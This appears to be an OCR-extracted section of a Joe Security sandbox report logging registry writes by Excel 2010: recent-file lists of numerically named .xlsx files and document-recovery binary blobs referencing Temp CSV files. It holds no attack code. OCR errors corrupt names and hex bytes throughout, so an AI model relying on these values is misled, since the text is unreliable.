HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EE946

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EEA4F

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\Startupltems

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\11169C

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\112617

Key Value Created

Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright Joe Security LLC 2021

Name

Max Display

Max Display

Iltem 1

Iltem 2

Item 3

Iltem 4

Item 5

Iltem 6

Item 7

Iltem 8

Item 9

Item 10

Iltem 11

Iltem 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Type

dword

dword

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data
25

25

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9369051781.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7606393495.xIsx

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

P PR R R R R R R PO

Count

Source
Address

7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\EE6A7

Copyright Joe Security LLC 2021

Name

Item 19

Item 20

EEGA7

Type

unicode

unicode

binary

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4458179343.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2849925037.xIsx

04 00 00 00 88 02 00 00 3A 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 32 00 2E 00 31 00 34 00 2E 00
33 00 35 00 2E 00 73 00 68 00 65 00 65
00 74 00 2E 00 63 00 73 00 76 00 00 00
00 00 22 00 00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00 5C 00 41 00
6C 00 62 00 75 00 73 00 5C 00 41 00 70
00 70 00 44 00 61 00 74 00 61 00 5C 00
4C 00 6F 00 63 00 61 00 6C 00 5C 00 54
00 65 00 6D 00 70 00 5C 00 01 00 00 00
01 00 00 00 83 B6 DF AE F1 47 D7 01
A7 E6 OE 00 A7 E6 OE 00 00 00 00 00 B8
02 00 00 OA 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

4

4

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EE7A1 binary 04 00 00 00 88 02 00 00 38 00 00 00 43  success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EE7A1 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 33 00 2E 00 35 00 2E 00 30 00
2E 00 73 00 68 00 65 00 65 00 74 00 2E
00 63 00 73 00 76 00 00 00 00 00 22 00
00 00 43 00 3A 00 5C 00 55 00 73 00 65
00 72 00 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00 44
00 61 00 74 00 61 00 5C 00 4C 00 6F 00
63 00 61 00 6C 00 5C 00 54 00 65 00 6D
00 70 00 5C 00 01 00 00 00 01 00 00 00
D6 D9 C9 B2 F1 47 D7 01 A1 E7 OE 00
A1 E7 OE 00 00 00 00 00 B8 02 00 00 0A
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EE83D binary 04 00 00 00 88 02 00 00 39 00 00 00 43  success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EE83D 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 34 00 2E 00 37 00 2E 00 33 00
38 00 2E 00 73 00 68 00 65 00 65 00 74
00 2E 00 63 00 73 00 76 00 00 00 00 00
220000 00 43 00 3A 00 5C 00 55 00 73
00 65 00 72 00 73 00 5C 00 41 00 6C 00
62 00 7500 73 00 5C 00 41 00 70 00 70
00 44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00 65
00 6D 00 70 00 5C 00 01 00 00 00 01 00
00 00 7A 8E ED B2 F1 47 D7 01 3D E8
OE 00 3D E8 OE 00 00 00 00 00 B8 02 00
00 OA 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\8416751812.xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\3580751004.xIsx
HKEY_CURRENT_USER\Software\Mic ltem 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\5367203117.xIsx
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright Joe Security LLC 2021

Name

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Item 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9369051781.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7606393495.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4458179343.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2849925037.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EE946 binary 04 00 00 00 88 02 00 00 30 00 00 00 43  success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EE946 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 78 00 6C 00 73 00 6D 00 2E 00 73
00 68 00 65 00 65 00 74 00 2E 00 63 00
73 00 76 00 00 00 00 00 22 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 01 00 00 00 01 00 00 00 E1 10 29
B3 F1 47 D7 01 46 E9 OE 00 46 E9 OE 00
00 00 00 00 B8 02 00 00 66 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EEA4F binary 04 00 00 00 88 02 00 00 2C 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EEA4F 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 44 00 65 00 73 00 6B 00 74 00
6F 00 70 00 5C 00 64 00 69 00 61 00 67
00 72 00 61 00 6D 00 2D 00 34 00 31 00
39 00 30 00 36 00 35 00 35 00 39 00 37
00 2E 00 78 00 6C 00 73 00 00 00 00 00
17 00 00 00 43 00 3A 00 5C 00 5500 73
00 65 00 72 00 73 00 5C 00 41 00 6C 00
62 00 75 00 73 00 5C 00 44 00 65 00 73
00 6B 00 74 00 6F 00 70 00 5C 00 01 00
00 00 01 00 00 00 07 4B 56 B3 F1 47 D7
01 4F EA OE 00 4F EA OE 00 00 00 00
00 B8 02 00 00 6E 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
